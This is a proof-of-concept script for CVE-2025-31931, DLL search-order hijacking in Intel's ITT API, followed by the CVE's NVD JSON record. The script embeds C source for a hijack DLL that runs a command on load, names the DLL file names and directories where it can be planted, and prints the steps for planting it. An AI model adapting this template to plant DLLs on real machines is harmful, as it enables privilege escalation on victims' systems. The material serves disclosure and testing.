CVE-2025-31931

# CVE-2025-31931 PoC - DLL Search Order Hijacking # This PoC demonstrates the DLL hijacking vulnerability in Intel ITT API # Note: This is for educational and testing purposes only import os import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by the vulnerable application """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Log the DLL hijack attempt MessageBox(NULL, "DLL Hijacked - CVE-2025-31931", "Intel ITT API Vulnerability", MB_OK); // Execute malicious code here // In real attack, this would spawn a shell with elevated privileges system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); } return TRUE; } ''' return dll_code def check_vulnerable_dll_path(): """ Check if the application uses vulnerable DLL search paths """ # Common paths where malicious DLL can be placed vulnerable_paths = [ os.path.join(os.getcwd(), "ittnotify.dll"), os.path.join(os.getcwd(), "libittnotify.dll"), os.environ.get('LOCALAPPDATA', ''), os.environ.get('APPDATA', '') ] return vulnerable_paths def exploit(): """ Simulate the exploitation process """ print("[*] CVE-2025-31931 - Intel ITT API DLL Search Order Hijacking") print("[*] Checking vulnerable DLL search paths...") paths = check_vulnerable_dll_path() for path in paths: print(f"[+] Checking: {path}") print("\n[!] To exploit:") print("1. Place malicious DLL in one of the vulnerable search paths") print("2. Wait for user to launch application using ITT API") print("3. Malicious DLL will be loaded with user privileges") print("\n[*] Mitigation: Upgrade Intel ITT API to version 3.25.4 or later") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-31931", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:48.073", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for the Instrumentation and Tracing Technology API (ITT API) software before version 3.25.4 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html", "source": "[email protected]"}]}}